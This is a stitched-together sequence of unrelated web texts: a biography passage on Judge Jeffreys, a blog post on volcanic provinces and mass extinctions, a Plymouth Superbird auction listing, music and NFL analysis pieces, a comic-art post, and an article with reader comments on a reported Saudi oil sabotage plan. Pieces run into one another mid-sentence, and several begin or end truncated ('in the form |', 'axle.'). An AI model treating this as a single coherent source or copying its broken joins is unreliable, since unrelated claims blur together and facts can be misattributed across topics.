As Lord Chancellor, Jeffreys was given the presidency of the Ecclesiastical Commission, a body established by James II under the royal prerogative to control the governance of the Church of England and coerce it.[13] Despite his misgivings and concerns that James was being overly influenced by hardline Roman Catholics, the Ecclesiastical Commission took proceedings against various clergy including the Bishop of London and academics of Oxford and Cambridge universities considered by James II to be overly Protestant. The Ecclesiastical Commission's activities came to an end with the Glorious Revolution.
Fall, death and burial [ edit ]
During the Glorious Revolution, when James II fled the country, Jeffreys stayed in London until the last moment, being the only high legal authority in James's abandoned kingdom to perform political duties. When William III's troops approached London, Jeffreys tried to flee and follow the King abroad. He was captured in a public house in Wapping,[14] now named The Town of Ramsgate. Reputedly he was disguised as a sailor, and was recognised by a surviving judicial victim, who claimed he could never forget Jeffreys' countenance, although his ferocious eyebrows had been shaven. Jeffreys was terrified of the public when dragged to the Lord Mayor and then to prison "for his own safety". He begged his captors for protection from the mob, who intended "to show him that same mercy he had ever shown to others".
He died of kidney disease (probably pyelonephritis) while in custody in the Tower of London on 18 April 1689. He was originally buried in the Chapel Royal of Saint Peter ad Vincula in the Tower. In 1692 his body was moved to St Mary Aldermanbury.[15]
In his London Journal, Leigh Hunt gives the following account of Judge Jeffreys' death and burial:
Jeffreys was taken on the twelfth of September, 1688. He was first interred privately in the Tower; but three years afterwards, when his memory was something blown over, his friends obtained permission, by a warrant of the queen's[16] dated September 1692, to take his remains under their own care, and he was accordingly reinterred in a vault under the communion table of St Mary, Aldermanbury, 2nd Nov. 1694. In 1810, during certain repairs, the coffin was uncovered for a time, and the public had a sight of the box containing the mortal remains of the feared and hated magistrate.[17]
During the Blitz, St Mary Aldermanbury was gutted by a German air raid and all traces of Jeffreys' tomb were destroyed. (The remains of the church were transported to the United States in 1966 and re-erected in Fulton, Missouri, as a memorial to Winston Churchill.)
Descendants [ edit ]
Jeffreys's only son, by Sarah Needham, John (or Jacky as he was called at home) succeeded to his father's peerage. He married Charlotte, a daughter of Philip Herbert, 7th Earl of Pembroke, and Henrietta de Kérouaille, sister of the Duchess of Portsmouth, a mistress of Charles II and a supporter of Jeffreys in the early stages of his career.[18] John and Charlotte Jeffreys had one daughter, named Henriette-Louise after the two Kérouaille sisters, but no son, so that the male line of George Jeffreys became extinct. There are descendants through his daughter and granddaughters.
Reputation [ edit ]
Black and white oval frame portrait of Jeffreys
Jeffreys' reputation today is mixed. His legal ability was undoubtedly high, and he was definitely good in all cases that required him to rule on questions of law, but not of loyalty.[according to whom?] Some say he was a personally vengeful man. He had bitter personal and professional rivalries with Sir William Williams. His political animus was displayed during his legal career. He suffered from a painful kidney disease that may well have affected his unbridled temper and added to this reputation, and his doctors apparently recommended alcohol to dull the pain, which may have explained his often shocking conduct in court.
In The Revolution of 1688, the historian J. R. Jones refers to Jeffreys as "an alcoholic".
G. W. Keeton in Lord Chancellor Jeffreys and the Stuart Cause (1965) claimed the historical Jeffreys "to be a different person from the Jeffreys of legend".[specify]
After reviewing the Lisle case and contemporary opinion Brian Harris QC concludes that 'Given that [Jeffreys] had to administer a largely inchoate criminal procedure and impose the bloody sentences that the law then required, a balanced judgement would regard Jeffreys as no worse, perhaps even a little better than most other judges of his era.'[19]
Legacy [ edit ]
One session of the Bloody Assizes was held in Dorchester on 5 September, in the Oak Room (now a tea room) of the Antelope Hotel. Jeffreys lodged nearby at 6 High West Street, and is said to have used a secret passage from his lodgings to the Oak Room. In 2014 the passage was reportedly discovered and was found to be wide enough for three judges to walk through side by side.[20]
After his fall from power, a portrait of Jeffreys was taken from Gray's Inn and left in the cellar of Acton Hall (the family home). When Acton Hall was demolished in the 1950s, that painting and one of his brother Thomas were acquired by Simon Yorke, Squire of Erddig (Erthig) and hung in the entrance hall of Erddig Hall. They can still be seen there. Both portraits are reproduced in Keeton's Lord Chancellor Jeffreys and the Stuart Cause.
Portrayals [ edit ]
Jeffreys was portrayed by Michael Kitchen in Lorna Doone (2001).
References [ edit ]The cause of the greatest mass-extinctions of all? Pollution (Part 1)
Posted on 19 March 2015 by John Mason
Part One: Large Igneous Provinces and their global effects
Introduction
A mass extinction is an event in the fossil record, a fossilised disaster if you like, in which a massive, globally widespread and geologically rapid loss of species occurred from numerous environments. The “Big five” extinctions of the Phanerozoic (that time since the beginning of the Cambrian period, 541 million years ago) are those in which, in each instance, over half of known species disappeared from the fossil record.
How did they happen? The causes of such events, with a truly global reach, have been a well-known bone of contention within the Earth Sciences community over many decades. The popular media likes to portray such things as Hollywood-style disasters, in which everything gets wiped out in an instant. But in the realms of science, things have changed. The critically important development has been the refinement of radiometric dating, allowing us to age-constrain events down to much narrower windows of time. We can now, in some cases, talk about the start and end of an event in terms of tens of thousands (rather than millions) of years.
Such dating, coupled with the other time-tools of palaeomagnetism and the fossil record, have made it possible to develop a much clearer picture of how mass-extinctions occur. That picture is one of periods of global-scale pollution and environmental stress associated with large perturbations to the carbon cycle, lasting for thousands of years. Such upheavals are related to unusual episodes of volcanic activity with an intensity that is almost impossible to imagine. The geological calling-cards of such events are known as Large Igneous Provinces (LIPs). Bringing environmental and climatic changes at rates similar to the ones we have been creating, they have been repeat-offenders down the geological timeline. This introductory piece examines LIPs in the framework of more familiar volcanic activity: it is the only way to get a handle on their vastness.
For those readers already familiar with LIPs, you may want to skip this and go straight to Part Two, which covers the biggest extinction of them all, at the end of the Permian period, 252 million years ago (Ma). With more than 90% of all species wiped out, it was the most severe biotic crisis in Phanerozoic history. The extinction was global: almost all animals and plants in almost all environmental settings were affected. An idea of the severity can be visualised by considering that the time afterwards was marked by the beginning of a coal gap lasting for ten million years: coal-forming ecosystems simply did not exist for that time. Likewise, Howard Lee has recently considered the relationship between the end-Cretaceous extinction - the one that got the dinosaurs - and LIP volcanism here. But for those who are new to LIPs, it is recommended that you read this post first.
A sense of scale
Let's start by contextualising that volcanicity, starting with an especially well-known example. Mount St. Helens is one of a number of volcanoes in the Cascade Range of the north-western United States. In early 1980, it began a period of activity with earthquakes and clouds of steam billowing forth: by the middle of spring its northern side was starting to bulge ominously, a sure sign of magma and pressure build-up. On May 18th, following another earthquake, its entire northern side collapsed, depressuring the magma and volatiles beneath in an instant. The resulting blast destroyed everything in a 600 square kilometres zone around the northern flank of the volcano. A huge cloud of hot ash shot skywards, reaching over twenty kilometres in height. Ash and debris, mixed with great volumes of meltwater, brought major flash-flooding and mudflows into local rivers. The energy released has been estimated to be equivalent to a 24-megaton nuke and in total this nine-hour eruption spewed out some 2.79 cubic kilometres of felsic lava, ash, gases and debris. Remember that last figure.
The famous eruption of Krakatoa on August 26th-27th 1883 reached its climax on the 27th: the largest explosion, at 10:02 A.M, was heard 3,110 km (1,930 mi) away in Perth, Western Australia. The eruption and the tsunamis associated with it killed over 36,000 people according to official figures. This incredibly violent and destructive eruption, with an energy-release likened to a 200-megaton nuke, produced an estimated 21 cubic kilometres of eruptive products. Again, remember that figure.
Now, contrast those deadly eruptions with the mostly late Permian Siberian Traps LIP. The province contains what may be the largest known volume of terrestrial flood basalt (dark-coloured, iron and magnesium-rich lava) in the world. How much? At least three million cubic kilometres. That's enough to bury an area the size of the United Kingdom beneath a layer of basalt some 12 kilometres thick.
Fig. 1: We're gonna need a bigger graph! Volumes of well-known volcanic eruptions compared to LIPs. Geologists may argue that comparing single eruptions of various standard volcanoes and LIPs is like comparing apples to oranges. Actually, that's the point!
Definitions
A large igneous province is defined as a vast accumulation, covering an area of at least a hundred thousand square kilometres, of igneous rocks episodically erupted or intruded within a few million years. The majority of erupted products may in some cases accumulate within much shorter time-spans of tens of thousands of years or less. Total eruption volumes are at least a hundred thousand cubic kilometres. Erupted products are dominated by repeated flows of basaltic lava ("flood-basalts"): weathering and erosion of these stacked basalt sheets often gives the countryside where they occur a hilly, stepped topography. Such areas are often referred to today as "Traps" because of this distinctive landscape: the term, as used in "Siberian Traps" or "Deccan Traps" is based on a Swedish word for stairs. Rocks intruded beneath the surface in LIPs include ultramafic (dense, iron and magnesium rich) and alkaline (sodium and potassium-rich) bodies, plus uncommon types such as the carbonate-rich carbonatites. LIP events are infrequent along the geological timeline, with an average of one such event every twenty million years.
Fig. 2: Plate tectonics 101: oceanic crust is erupted at mid-ocean ridges and tens of millions of years later it is consumed at subduction zones. Graphic: jg.
Plate tectonics has over the years been particularly involved with what goes on at existing plate boundaries such as subduction zones and mid-ocean ridges (fig. 2), where magmatism is highly focussed. However, LIPs reflect another set of processes altogether, where vast amounts of mantle-derived magma make it to the surface within plates. They have played a significant role in the development of the hypothesis of great plumes of hot rock and magma occurring deep in Earth's mantle, which create localised "hotspots" that occur irrespective of tectonic plate boundaries and are the sites of major, within-plate eruptions over millions of years. That there is still much lively (and at times acrimonious) debate concerning the Plumes Hypothesis, including postulated alternative formation-mechanisms for LIPs, need not concern us here. That LIP events occurred and how they affected the biosphere is our focus.
Pollution from volcanoes
The Oxford English Dictionary definition of pollution is as follows: the presence in or introduction into the environment of a substance which has harmful or poisonous effects.
Harmful or poisonous effects depend on the physical and chemical properties of any one substance. Substances are widely variable in their toxicity in terms of concentration. Carbon dioxide, essential to photosynthetic plantlife, has other properties which, at higher concentrations, make it dangerous. As a strong greenhouse gas, any substantial increase in its atmospheric levels over a matter of a few centuries make it a pollutant because of the impacts of rapid climate change. At much higher levels it becomes an asphyxiant - a gas that kills by displacing air, thereby causing suffocation, as tragically evidenced in 1986 at Lake Nyos, in Cameroon. Here, the magma underlying the floor of an old volcanic crater-lake gives off carbon dioxide, with which the lake water becomes super-charged. At depth, the pressure of the water-column above keeps the gas stably dissolved in the water. However, any triggering mechanism that suddenly forces a lot of that deep water upwards to shallow levels where that confining pressure is absent can cause it to explosively degas. In the 1986 event, a large cloud of carbon dioxide burst forth from the lake. Due to its relative density, it rolled along the ground, displacing the air as it did so. Over 1,700 people and 3,500 livestock died from asphyxiation in nearby communities. Like many substances, carbon dioxide is best taken in moderation.
All subaerial volcanic eruptions blast out gases and ash into the troposphere and in some cases the stratosphere. The most important volcanogenic gases are water vapour, carbon dioxide, sulphur dioxide and halogen compounds such as hydrogen chloride and hydrogen fluoride.
Of these, only carbon dioxide can contribute to global warming over a geological timescale because of its centuries-long atmospheric residence time (the time it takes natural processes to remove most of it again). At present, global volcanogenic carbon dioxide emissions are calculated to be up to 440 million tonnes a year. This can usefully be compared to human carbon dioxide emissions of (in 2014) 32.3 billion tonnes a year – ours are presently two orders of magnitude greater than those from volcanoes. LIP eruptions are another matter: the entire Siberian Traps LIP eruptive cycle is estimated to have produced thirty thousand billion tonnes of carbon dioxide. Bearing in mind the residence time of carbon dioxide, if eruptive events are continuous or closely-spaced enough to keep recharging the atmosphere with it, a long-lived warming effect would occur.
Sulphur dioxide's greenhouse gas abilities are somewhat stunted as it tends to form sun-blocking sulphate aerosols (suspensions of fine solid particles or liquid droplets in a gas) that have a net cooling effect. Unless an eruption is powerful enough to inject a lot of the gas up into the stratosphere (where sulphur compounds may also cause damage to the ozone layer), the cooling effect is short-term – just a year or two, by which time the sulphate has mostly returned to the surface, dissolved in rainwater and thereby giving a short-term acid rain effect where that rain falls. Stratospheric sulphate aerosols have effects lasting for a few more years, but unless they are continuously supplied then the system recovers to its pre-eruption state. Additionally, because of the way that Earth's airmasses interact with one another as a result of the planet's rotation, gases have to be injected into the stratosphere from a relatively low latitude if they are to be spread on a truly global basis. So a pattern emerges of a steady global warming due to increasing carbon dioxide with shorter, often more regional punctuations along the way in the form |
axle.
Barrett-Jackson Las Vegas 2017 – Lot #766 1971 Plymouth Superbird
This Superbird started out a real 440ci Six Pack Superbird. It has been upgraded to period-correct 426ci HEMI with the pistol-grip 4-speed manual transmission. The car even has a sticker in the engine bay showing the 426 HEMI meets 1970 emissions. (Copy of the original Build Sheet for the car shows it was a 440 Six Pack Superbird is included).
Auction Las Vegas 2017 Reserve NO RESERVE Status Sold Price $132,000.00 Lot 766 Year 1970 Make PLYMOUTH Model SUPERBIRD Style
VIN **************** Exterior Color White Interior Color BLACK Cylinders 8 Engine Size 426 Transmission 4-SPEED MANUAL
Production numbers
Chrysler was preparing to handle 1,920 winged Plymouths for 1970, but published figures show as many as 2,783 were built. Engine option figures are one-hundred thirty-five 426ci. Hemi Superbirds, sixteen 440ci. Six-pack editions, and the remaining powered by 440ci. 4bbl. Motors.
Like this: Like Loading...UPDATE: You can now watch the full video of Lorde playing "In The Air Tonight" at the top of the page. Drums!
The sonic melodrama of Lorde's Melodrama had a lot to do with broad strokes: solo post-party ballads followed by big, dancefloor pop; mellow keys that broke into wide-gated, reverberating drums. It contained two straight-up Phil Collins fills, first on the late-night vodka thrill of "Green Light," then, more self-consciously, on the second half of "Hard Feelings/Loveless." This isn't just Jack Antonoff plugging the '80s in either—Lorde seems to love Collins and all of his work. She covered Collins's 1981 song "In The Air Tonight" on yesterday's BBC Live Lounge and here's what she told DJ Clara Amfo:
He's just such a pioneer. His melodies and his drums—I'm so inspired by him. He pushes me to be better.
When Lorde was asked by Amfo if she'd ever met Collins, she responded by saying, um:
I have not and I think I would just melt to a little pool. I think he would be like, 'Oh no, there's a little pool in front of me, not a person.'
Anyway, you can listen to Lorde's cover of "In the Air Tonight" around the 2:13:00 moment here. Lorde brings the song down about an octave, so she's breathier than Collins was on the original, but she's settled into it by the time the second chorus comes in. That big drum fill is reduced to an electric impression, but it's still pretty satisfying.
Follow Alex Robert Ross on Twitter.Bills Quarterback Tyrod Taylor had one of his best games against the Denver Broncos defense in two years, and he did it without the aid of a run game.
Running back LeSean McCoy finished the game with 14 attempts for 21 yards, but regardless of how effective the run game is, the play action off of it will be effective because of Taylor’s mobility.
On Charles Clay’s second touchdown of the 2017 season he shows how critical a player he is in Dennison’s offense. Taylor fakes the outside zone run to McCoy as Clay blocks down on Von Miller. Clay washed Miller down as far as he could, which allowed Taylor to get outside of the pocket in a run/pass posture.
The Broncos are in man coverage, but as the Bills bring Matthews across the formation CB Talib passes him off and fails to slide to the middle to help his safety. Simmons, the single high free safety, must slide to his left as Taylor moves because the bootleg action is closing half of the field down.
Clay pivots to the middle and S Justin Simmons and CB Aqib Talib are both out of position to make a play in the middle of the field. This was a great play design that really attacked the essence of how the Broncos switch coverages in the red zone. Dennison, Taylor, and Clay took full advantage of it on Sunday.The NFL’s best quarterbacks on each route type in 2016
By Eliot Crist • Feb 25, 2017
In the final piece of this three-part series examining who had the most success on different routes, I turn to the quarterbacks. In earlier articles, I broke down what it takes for a receiver to be successful on a given route, and the base coverages defenses play. Quarterbacks face a daunting challenge. They must read what both the defense and the receivers are doing and process it very quickly. The average time to attempt in the NFL is only 2.5 seconds. So a quarterback may go through multiple reads to determine which receiver has the advantage on the coverage, and if he wants to get the throw off he can’t spend more than a second per read.
Each route has its advantages and disadvantages versus coverages. A slant route might beat a Cover 1 defense because the receiver just has to break down his defender, while a comeback can be effective in attacking the Cover 2 hole. Go routes might not be successful versus a Cover 4 designed to take the deep pass away, while drag routes can be dangerous to target versus Cover 2 as the QB can lead his receiver right into a zone. Processing coverages for multiple routes is no easy task, and that is why there are so few people on the planet who can be successful NFL QBs. Here are the ones who did it best in 2016.
Slants
The slant route is a quick route run up the field where the receiver cuts across the field inside on a diagonal path. The route is designed to pick up short to medium gains while giving a receiver the opportunity to turn the ball up field and explode past the defense. The average depth of target of the slant route in the NFL was 6.36 yards, while QBs typically take a three- to five-step drop.
Best QB targeting slants (min. 10 targeted attempts): Aaron Rodgers, Green Bay Packers
Davante Adams was PFF’s honorable mention for best receiver running the slant route, but he was just part of Rodgers’ success. Rodgers led all QBs with a QB rating of 142.2 on slant routes. He completed 36 of 48 passes for 9 touchdowns and 438 yards; only one of his passes was dropped. Rodgers’ touchdowns on slants were the most in the league and his yards were fifth-highest. Half of Rodgers’ slant yards were after the catch. Of his 48 slant-route pass attempts, 34 came against man coverage; Rodgers picked man coverage apart, completing 25 of 34 passes for 302 yards and 7 touchdowns. 19 of Rodgers’ 25 completions versus man coverages went for first downs or touchdowns, and he completed 12 of his 15 slant-route pass attempts on third downs versus man coverage.
Honorable mention: Matt Ryan, Atlanta Falcons
Ryan led all quarterbacks in yards on slants with 560 yards on 49 completions. He threw slants 61 times (most in the league) and had 5 touchdowns (second-most). However, his 3 interceptions were tied for most with Tom Brady and Jared Goff. 44 percent of Ryan’s yards came after the catch, and he earned a 111.7 QB rating when targeting slants. 36 of Ryan’s 49 completions went for either first downs or touchdowns; he completed 13 of 20 passes on third downs. All five of Ryan’s touchdowns came on man coverage or red-zone coverage, where the exact coverage isn’t known due to the field constraints, but often has man principles.
Double move
The double move is a deception route where the receiver tries to draw the defender up and then beat him over the top. These routes consist of the quick-out-and-up, the out-and-up, the slant-and-go, and the hitch-and-go. These are slower-developing routes that require the offensive line to give the QB enough time to throw the ball down the field. QBs typically throw these routes on a five- or seven-step drop back with an aDOT of 23.48 yards. Quarterbacks often have a good pump fake to help sell the route to help a receiver get open.
Best QB targeting the double move (min. 8 targeted attempts): Andrew Luck, Indianapolis Colts
Luck was far and away the most successful quarterback targeting the double move. He completed 10 of 17 passes for 236 yards, 5 touchdowns and a QB rating of 142.8. Luck led the league in completions, touchdowns, and QB rating on double moves. He targeted six different receivers with double moves, most often using his tight ends Dwayne Allen and Jack Doyle, who accounted for 3 of his 5 touchdown passes. Luck had his most success on this route when attacking zone coverages. He was 6-8 versus zone coverage, for 152 yards and three touchdowns.
Honorable mention: Matthew Stafford, Detroit Lions
Stafford had the third-highest aDOT among all qualifying quarterbacks on double moves. He completed 8 of 17 passes (third-most) for 251 yards and 2 touchdowns, earning a 132.6 QB rating (third-best). He beat zone coverage on double moves most often, with five of his completions and both of his touchdowns coming versus zone. On his touchdowns, his receivers beat Kendall Fuller and Damarious Randall on their deep zone responsibilities in a Cover 3 defense.
Go routes
In backyard football terms, go deep. The go route is designed to get behind the defense for the big play. The ability to take the top off the defense is a key component to any successful offensive attack. The go route is designed both for big yards before the catch and to give the receiver the ability to take it the distance after the catch. For this to work, the line must allow time for receivers to work their way down field. QBs will typical have a five- to seven-step drop back, and the aDOT of these routes is 28.53 yards.
Best QB on go routes (min. 10 targeted attempts): Tom Brady, New England Patriots
It is no coincidence that Chris Hogan was the most successful receiver on go routes when you look at how effective Tom Brady was throwing the route. Brady was PFF’s highest-graded QB on go routes, completing 20 of 48 passes for 660 yards, 6 touchdowns, and a QB rating of 119.8. Brady was second in QB rating, third in touchdowns, third in completions, and second in yards on the go route. Brady was eighth in completion percentage at 41 percent, but was fifth in adjusted completion percentage at 48 percent due to his receivers dropping three passes. He had great success on the go route versus the Cover 3, as 7 of his 13 passes resulted in either first downs or touchdowns, and one of his incompletions was on a miscommunication.
Honorable mention: Matt Ryan, Atlanta Falcons
Ryan completed 13 of his 29 passes on go routes for 480 yards, 4 touchdowns and a league-high 131.1 passer rating. With an aDOT of 28.3 yards, he was right on par with the rest of the league. His season-long depth of target was on a 53-yard completion to Julio Jones, and 51 of the yards gained on the play were in the air. 6 of his 13 completions went for 40 or more yards and all of his touchdowns came on first or second down. Ryan had his most success versus zone coverages on the go route, completing 9 of 20 passes for 329 yards and 3 touchdowns, averaging 16.45 yards per attempt.
In routes and out routes
In routes and out routes are essentially the same thing, but in opposite directions. The route involves the receiver going up the field, then making a hard-horizontal cut in or out — hence the name. The aDOT of these routes is 9.73 yards.
Best QB targeting in routes and out routes (min. 18 attempts): Matt Ryan, Atlanta Falcons
Ryan’s success comes as no surprise here. Julio Jones was far and away the most successful receiver on both in routes and out routes. However, his teammate Mohamed Sanu earned the second-highest QB rating when he was targeted on these routes, behind Jones. This speaks to just how well Ryan reads and throws these routes. Ryan led to the league with his 126.5 QB rating, completing 88 (third-most) of 113 passes for 1,222 yards (second-most) and 5 touchdowns (third). Ryan had a ridiculous completion percentage of 77.8 percent on in and out routes, second to only Tom Brady, while earning PFF’s highest production grade on these routes. In the Super Bowl, Ryan completed 7-8 of passes for 127 yards on these routes, and Falcons fans probably wish he threw them a few more times.
Honorable mention: Aaron Rodgers, Green Bay Packers
This was very close between Rodgers and Brady, but Rodgers gets the nod. Rodgers led the league in completions, yards and touchdowns. He completed 105-147 passes for 1,227 yards and 9 touchdowns. Even though he threw 3 interceptions, he finished up with a 108.3 QB rating (sixth-best). Rodgers had 6 passes dropped and an adjusted completion percentage of 75.5 percent. Like Rodgers here, Jordy Nelson finished as the honorable mention for his position on in routes and out routes, but Rodgers success’ went beyond just his top target. He completed these routes to 11 different receivers on the season, throwing for 896 yards on passes excluding Nelson. Rodgers was nearly equally effective versus man and zone coverage, with 662 yards versus zone and 565 yards versus man and red-zone coverage.
Post and corner routes
The post and corner routes are essentially the same thing, just run in different directions. The corner route is when a receiver runs deep and then cuts diagonally to the sideline. The post route is the same thing except the receiver cuts toward the middle of the field. These routes are designed to get deep down the field; in 2016, they had an aDOT of 22.38 yards.
Best QB targeting post and corner routes (min. 15 targeted attempts): Andy Dalton, Cincinnati Bengals
Dalton was a combined 13-14 for 281 yards and 2 touchdowns on these routes targeting the receiving duo of A.J. Green and Brandon LaFell. However, Dalton also had success throwing to his other receivers. He finished the season completing 29 of 42 passes for 642 yards and 7 touchdowns, earning a league-leading QB rating of 151.3. His completion percentage of 69 also led the league, and only one other QB completed more than 60 percent of post and corner routes. Dalton had his most success versus zone defenses completing 16 of 23 passes for 385 yards and 3 touchdowns. One of the keys to his success may have been his average time to throw of 2.36 seconds, likely due to his aDOT of 18.88 yards (third-shortest out of 32 qualifiers).
Honorable mention: Kirk Cousins, Washington Redskins
Cousins was the only other quarterback to throw for a higher than 60-percent completion percentage rate on post and corner routes. Cousins completed 32 of 48 passes and was second in the league with a 140.6 QB rating, throwing for 881 yards and 9 touchdowns (both league-best marks). Cousins had the seventh-highest aDOT in the league at 24.08 and averaged 2.69 seconds per attempt. He was dominant versus zone coverages as he completed 20 of his 34 attempts for 610 yards and 4 touchdowns. On his throws of 40 yards or longer down the field versus zone coverage, Cousins completed 4 of 7 passes for 3 touchdowns and 253 yards.
Hitches and comebacks
These routes are run up the field and then the receiver cuts back toward the quarterback. Comebacks are typically deeper routes, with an aDOT of 11.67 yards, while the hitch is a short route with an aDOT of 7.4 yards. Comebacks are not only more likely to be deeper down the field, but the receiver will work his way back to the QB more. The hitch, meanwhile, is more of a quick turn back to the QB. While each route has its differences, the goal is similar: the receiver wants to work the defender up the field and turn back to the ball.
Best QB targeting hitches and comebacks (min. 20 targeted attempts): Tom Brady, New England Patriots
PFF’s highest-graded quarterback makes the list yet again, and for good reason. Brady completed 52 of 66 passes for 609 yards, 3 touchdowns and a league-leading QB rating of 120.3. His 78.8-percent completion percentage was the sixth-highest in the league. He had an average time per attempt of 2.55 seconds and an aDOT of 8 yards, both right around league average. Brady was on fire throwing to these routes in the playoffs, as he completed 19 of 23 passes for 232 yards and a touchdown. In the Super Bowl, Brady attacked the Falcons in man coverage with these routes. He completed all 5 of his passes for 63 yards, four going for first downs.
Honorable mention: Russell Wilson, Seattle Seahawks
Wilson led the league in yards on comebacks and hitches, throwing for 958 yards with 89 completions on his 113 attempts. He had a 78.7-percent completion percentage, seventh-highest in the league, and had an aDOT of 8.08 yards. Wilson went to these routes most often versus the Cover 3 zone, as 42 of his 113 attempts were against this coverage. Wilson took advantage of the holes underneath in the Cover 3, completing 33 of 42 passes for 340 yards; 14 went for first downs. He had a perfect completion percentage on third and fourth downs versus the Cover 3, going 9-9 for 105 yards, with 6 first downs.
Crossing routes
The crossing route is separated from the dig route due to its lack of a vertical stem. The depth will vary from short drag routes to deep crossers, and it includes variations such as a receiver throttling down to settle between zones. The aDOT of these routes is 7.99 yards, while the QB dropback depth can vary widely, in part due to the variance in depth of this route.
Best QB targeting crossing routes (min. 14 targeted attempts): Jameis Winston, Tampa Bay Buccaneers
Winston dominated defenses when targeting crossing routes. He completed 36 of 50 passes for 529 yards, with 6 touchdowns and a 145.8 QB Rating. Winston’s impressive 72-percent completion percentage came while having the fourth-highest aDOT in the league of 10.92 yards. On passes over 25 yards, he completed all 4 to different receivers for 137 yards; 2 went for touchdowns.
Honorable mention: Cody Kessler, Cleveland Browns
Kessler led the NFL in QB rating on crossing routes with a 148.2 rating. He completed 13 of 14 passes for 141 yards and 2 touchdowns. Kessler’s strength is his accuracy; his 92.8-percent completion percentage led the NFL, but his aDOT of 7.4 yards was 26th out of 38 qualifying QBs. Of his 14 attempts, only 4 traveled over 10 yards, with a long of 23 yards. However, he completed all 4 of his deeper targets, and both of his touchdowns came on throws of 23 and 11 yards. His only incompletion on the season came when targeting Terrelle Pyror in man-to-man coverage versus Josh Norman.Tyroc had one of the more controversial origins in comics, and one of the most awesome costumes. He had crazy sonic-based powers which could seemingly do anything, and his initial stint with the Legion was pretty short. Much later he would return in a more dignified manner, as the Vice President of Earth during the Legion's "Five Years Later" period. And most recently Tyroc once again joined the Legion, with two new looks, and more straightforward powers. All that said, I love the character. He's powerful, has great leadership abilities, and his 70's costume is amazing. And that's why I chose it for Derec to draw here. And Derec did an incredible job with it! Love the shading, and the hair, and the ridiculous musculature. Thanks so much Derec, this is one of my favorites for sure!
If you like this piece then please do go buy some books featuring Derec's work in either physical or digital format and/or go commission him yourself.Saudi Arabia's Doomsday Plan
Mr. Shenkman is the editor of HNN.
Saudi Arabia, bracing for the possibility of an attack either by an outside power or restive Shiite residents, implemented an intricate doomsday plan in the 1980s giving officials the power to blow up their own oil wells, according to a new book by journalist Gerald Posner. In the event of an attack, says Posner, the Saudis would trigger a series of "dirty bomb" explosions designed to destroy use of the kingdom's oil supplies for decades. Posner's account, related in his new book, Secrets of the Kingdom (Random House), which is due out on May 17, is based on both Israeli and American intelligence. The doomsday scenario, dubbed by the National Security Agency, Petroleum Scorched Earth (PSE), would give the Saudis the ability to fend off attacks by threatening to blow up the prized oil facilities and oil supplies which the attackers presumably would want to get their hands on. In the event an attack was carried out, the Saudis would be able to guarantee that little of value fell into the hands of their enemies. (During World War II Adolf Hitler adopted a similar strategy to prevent German infrastructure from falling into the hands of the advancing Soviet army.) The Saudis reportedly were worried about attacks from both Iran, Iraq and the United States as well as internal attacks staged by the oppressed Shiite minority. American intelligence first picked up hints of this plan in 1986 using sophisticated eavesdropping technology, says Posner. His footnotes indicate that he reviewed a secret file by Israel and confirmed what he learned by discussions with American intelligence officials. Posner traces the origins of the plan to events in the early 1970s when OPEC (Organization of Petroleum Exporting Countries) began to limit the sale of oil to countries that helped Israel during the Yom Kippur War. In 1973 the British were told by American Defense Secretary James Schlesinger that the United States might use force to maintain open access to the key oil fields of Saudi Arabia, Kuwait and Abu Dhabi. Two years later, in 1975, the Sunday Times of London published an account of a classified American plan, "Dhahran Option Four," which provided for an American invasion to seize the oil wells of Saudi Arabia. In an interview with the media in 1975, Henry Kissinger publicly acknowledged that the United States might use force to free up oil supplies in the Middle East to save the West from strangulation. Posner provides significant details about the Saudi doomsday plan. He says that it includes the use of Semtex, the durable plastic explosive made in the former Czechoslovakia, in combination with Radiation Dispersal Devices (RDD). The explosives have reportedly been placed at key critical junctures in the kingdom's oil infrastructure and concealed from the employees of Western corporations working in the oil fields. The risk of radiation would be small, but enough to deter rebuilding of the oil infrastructure. In any event, the radiation would contaminate supplies for years. "All 8 of the Kingdom's refineries are part of the destruction grid," says Posner, who warns that the collapse of the kingdom's oil network would lead to worldwide instability and the most severe recession since the Great Depression. Posner's last book was Why America Slept: The Failure to Prevent 9/11. It was also based on secret documents concerning Saudi Arabia. Disclosure: Mr. Posner is a member of the HNN board of directors. Related Links Huffington Post
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Andrew D. Todd - 5/11/2005 The radioactive materials in a "dirty bomb" are radioactive metals, which are metals before they are radioactive. Normal oil refining separates all kinds of metallic and mineral gunk out from the gasoline, and concentrates it in the "residual oil" or "petroleum coke" residue. Residual oil is so gunky that there are restrictions on using it in gas turbines. The dissolved metal sinters itself to the turbine blades, and ruins their aerodynamics. The navy uses number two oil (substantially similar to home heating oil or the diesel oil used by railroad locomotives) and uses gas turbines instead of steam plants in all its more recent ships. The major cruise ship operators have adopted the same practice, on the grounds of greater reliability, going to the length of retrofitting existing ships with gas-turbine-electric-drive powerplants. The big users of residual oil are oil tankers themselves, and they burn most of their oil out on the high seas, where any contamination would be dispersed anyway.
The pressure at the bottom of an oil well, thousands of feet down, is on the order of thousands of pounds per square inch. A mere chemical explosion is not going to spread anything very far against that kind of pressure. The balance of probabilities is that a smart drilling rig could easily route around a contaminated zone.
As for disrupting work in the oil fields, well drilling, etc. is almost a textbook case for robotics. Robots can be controlled remotely, and there is a good case for netting them in and controlling them at very long distances, simply to avoid the expenses of maintaining men in godforsaken places. If one were trying to replace the Saudi oil infrastructure after extensive sabotage, one would want to do as little work on-site as possible. Instead, one would arrange to have things built in shipyards all over the world-- floating refineries, floating loading terminals, etc. In the oil fields themselves, one would make a much great use of slant drilling than was the case when the wells were originally drilled, thus reducing the length of pipeline to connect everything up and avoiding contaminated former wellsites.
In short, the Saudi "dirty bomb" is nothing more than an inept bluff, even if the Saudis have the resolve to explode the bombs. It is only given credence by people who are technologically illiterate. The fact that our technologically illiterate leaders have not sought out an engineer, and asked, "can you think of a way to call their bluff?" indicates that they really don't want to call the bluff. It gives them an excuse not to deal drastically with Saudi Arabia, the actual state sponsor of 9-11.
Oscar Chamberlain - 5/11/2005 Think of it as a nation state version of a corporate poison pill to deter hostile takeovers.
The question about radioactive materials in Saudi hands is important. One can make such bombs using radioactive materials that cannot be used to produce fission. But as this NRC site notes, such weapons would probably not be radioactive enough to do significant real harm.
mark safranski - 5/10/2005 Thanks! I'll take a look at what Posner is reporting.
Edward Siegler - 5/10/2005 I assume that the existence of "dirty bombs" means that Saudi Arabia has radioactive weapons of some sort. This is an explosive (pardon the pun) charge.
